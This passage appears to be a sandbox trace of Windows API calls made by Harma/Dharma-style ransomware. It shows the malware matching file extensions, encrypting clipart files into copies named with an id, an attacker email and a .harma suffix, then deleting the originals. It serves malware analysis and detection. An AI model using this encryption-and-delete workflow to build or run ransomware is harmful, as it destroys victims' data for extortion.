(lpString=".dbf") returned 4 [0170.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.280] lstrlenW (lpString=".1cd") returned 4 [0170.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0170.280] lstrlenW (lpString=".jpg") returned 4 [0170.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.280] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.280] lstrlenW (lpString="J0107148.WMF") returned 12 [0170.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.323] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=20136) returned 1 [0170.323] CloseHandle (hObject=0x374) returned 1 [0170.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20 [0170.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.324] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.324] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0170.326] GetLastError () returned 0x0 [0170.326] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4ea8, lpOverlapped=0x0) returned 1 [0170.442] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4eb0, lpOverlapped=0x0) returned 1 [0170.444] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0170.444] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.444] SetEndOfFile (hFile=0x3a0) returned 1 [0170.444] CloseHandle (hObject=0x3a0) returned 1 [0170.444] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.444] SetEndOfFile (hFile=0x374) returned 1 [0170.447] CloseHandle (hObject=0x374) returned 1 [0170.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0170.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.450] lstrlenW (lpString=".doc") returned 4 [0170.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.450] lstrlenW (lpString=".docx") returned 5 [0170.450] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.450] lstrlenW (lpString=".pdf") returned 4 [0170.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.450] lstrlenW (lpString=".xls") returned 4 [0170.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.450] lstrlenW (lpString=".xlsx") returned 5 [0170.450] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.450] lstrlenW (lpString=".ppt") returned 4 [0170.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.450] lstrlenW (lpString=".zip") returned 4 [0170.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.450] lstrlenW (lpString=".rar") returned 4 [0170.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.450] lstrlenW (lpString=".bz2") returned 4 [0170.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.450] lstrlenW (lpString=".7z") returned 3 [0170.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.450] lstrlenW (lpString=".dbf") returned 4 [0170.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.451] lstrlenW (lpString=".1cd") returned 4 [0170.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.451] lstrlenW (lpString=".jpg") returned 4 [0170.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.451] lstrlenW (lpString=".doc") returned 4 [0170.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.451] lstrlenW (lpString=".docx") returned 5 [0170.451] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.451] lstrlenW (lpString=".pdf") returned 4 [0170.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.451] lstrlenW (lpString=".xls") returned 4 [0170.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.451] lstrlenW (lpString=".xlsx") returned 5 [0170.451] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.451] lstrlenW (lpString=".ppt") returned 4 [0170.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.451] lstrlenW (lpString=".zip") returned 4 [0170.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.452] lstrlenW (lpString=".rar") returned 4 [0170.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.452] lstrlenW (lpString=".bz2") returned 4 [0170.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.452] lstrlenW (lpString=".7z") returned 3 [0170.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.452] lstrlenW (lpString=".dbf") returned 4 [0170.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.452] lstrlenW (lpString=".1cd") returned 4 [0170.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0170.452] lstrlenW (lpString=".jpg") returned 4 [0170.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.452] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.452] lstrlenW (lpString="J0107152.WMF") returned 12 [0170.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.453] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=22532) returned 1 [0170.453] CloseHandle (hObject=0x374) returned 1 [0170.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 0x20 [0170.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.454] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.455] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0170.456] GetLastError () returned 0x0 [0170.456] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x5804, lpOverlapped=0x0) returned 1 [0170.603] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x5810, lpOverlapped=0x0) returned 1 [0170.605] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0170.605] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.605] SetEndOfFile (hFile=0x3a0) returned 1 [0170.605] CloseHandle (hObject=0x3a0) returned 1 [0170.605] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.606] SetEndOfFile (hFile=0x374) returned 1 [0170.609] CloseHandle (hObject=0x374) returned 1 [0170.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.611] lstrlenW (lpString=".doc") returned 4 [0170.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.611] lstrlenW (lpString=".docx") returned 5 [0170.611] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.611] lstrlenW (lpString=".pdf") returned 4 [0170.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.611] lstrlenW (lpString=".xls") returned 4 [0170.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.611] lstrlenW (lpString=".xlsx") returned 5 [0170.611] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.611] lstrlenW (lpString=".ppt") returned 4 [0170.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.611] lstrlenW (lpString=".zip") returned 4 [0170.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.612] lstrlenW (lpString=".rar") returned 4 [0170.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.612] lstrlenW (lpString=".bz2") returned 4 [0170.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.612] lstrlenW (lpString=".7z") returned 3 [0170.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.612] lstrlenW (lpString=".dbf") returned 4 [0170.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.612] lstrlenW (lpString=".1cd") returned 4 [0170.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.612] lstrlenW (lpString=".jpg") returned 4 [0170.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.613] lstrlenW (lpString=".doc") returned 4 [0170.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.613] lstrlenW (lpString=".docx") returned 5 [0170.613] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.613] lstrlenW (lpString=".pdf") returned 4 [0170.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.613] lstrlenW (lpString=".xls") returned 4 [0170.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.613] lstrlenW (lpString=".xlsx") returned 5 [0170.613] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.613] lstrlenW (lpString=".ppt") returned 4 [0170.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.613] lstrlenW (lpString=".zip") returned 4 [0170.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.613] lstrlenW (lpString=".rar") returned 4 [0170.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.613] lstrlenW (lpString=".bz2") returned 4 [0170.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.614] lstrlenW (lpString=".7z") returned 3 [0170.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.614] lstrlenW (lpString=".dbf") returned 4 [0170.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.614] lstrlenW (lpString=".1cd") returned 4 [0170.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0170.614] lstrlenW (lpString=".jpg") returned 4 [0170.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.615] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.615] lstrlenW (lpString="J0107182.WMF") returned 12 [0170.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.638] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=16100) returned 1 [0170.638] CloseHandle (hObject=0x39c) returned 1 [0170.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 0x20 [0170.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0170.658] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.658] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0170.660] GetLastError () returned 0x0 [0170.660] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3ee4, lpOverlapped=0x0) returned 1 [0170.693] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0170.694] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0170.694] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.694] SetEndOfFile (hFile=0x218) returned 1 [0170.694] CloseHandle (hObject=0x218) returned 1 [0170.695] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0170.695] SetEndOfFile (hFile=0x3a4) returned 1 [0170.697] CloseHandle (hObject=0x3a4) returned 1 [0170.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0170.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.699] lstrlenW (lpString=".doc") returned 4 [0170.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.699] lstrlenW (lpString=".docx") returned 5 [0170.699] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.699] lstrlenW (lpString=".pdf") returned 4 [0170.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.699] lstrlenW (lpString=".xls") returned 4 [0170.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.699] lstrlenW (lpString=".xlsx") returned 5 [0170.699] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.699] lstrlenW (lpString=".ppt") returned 4 [0170.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.699] lstrlenW (lpString=".zip") returned 4 [0170.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.699] lstrlenW (lpString=".rar") returned 4 [0170.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.700] lstrlenW (lpString=".bz2") returned 4 [0170.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.700] lstrlenW (lpString=".7z") returned 3 [0170.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.700] lstrlenW (lpString=".dbf") returned 4 [0170.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.700] lstrlenW (lpString=".1cd") returned 4 [0170.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.700] lstrlenW (lpString=".jpg") returned 4 [0170.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.700] lstrlenW (lpString=".doc") returned 4 [0170.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.700] lstrlenW (lpString=".docx") returned 5 [0170.700] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.700] lstrlenW (lpString=".pdf") returned 4 [0170.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.700] lstrlenW (lpString=".xls") returned 4 [0170.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.700] lstrlenW (lpString=".xlsx") returned 5 [0170.700] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.700] lstrlenW (lpString=".ppt") returned 4 [0170.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.701] lstrlenW (lpString=".zip") returned 4 [0170.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.701] lstrlenW (lpString=".rar") returned 4 [0170.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.701] lstrlenW (lpString=".bz2") returned 4 [0170.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.701] lstrlenW (lpString=".7z") returned 3 [0170.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.701] lstrlenW (lpString=".dbf") returned 4 [0170.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.701] lstrlenW (lpString=".1cd") returned 4 [0170.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0170.701] lstrlenW (lpString=".jpg") returned 4 [0170.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.701] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.701] lstrlenW (lpString="J0107254.WMF") returned 12 [0170.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), 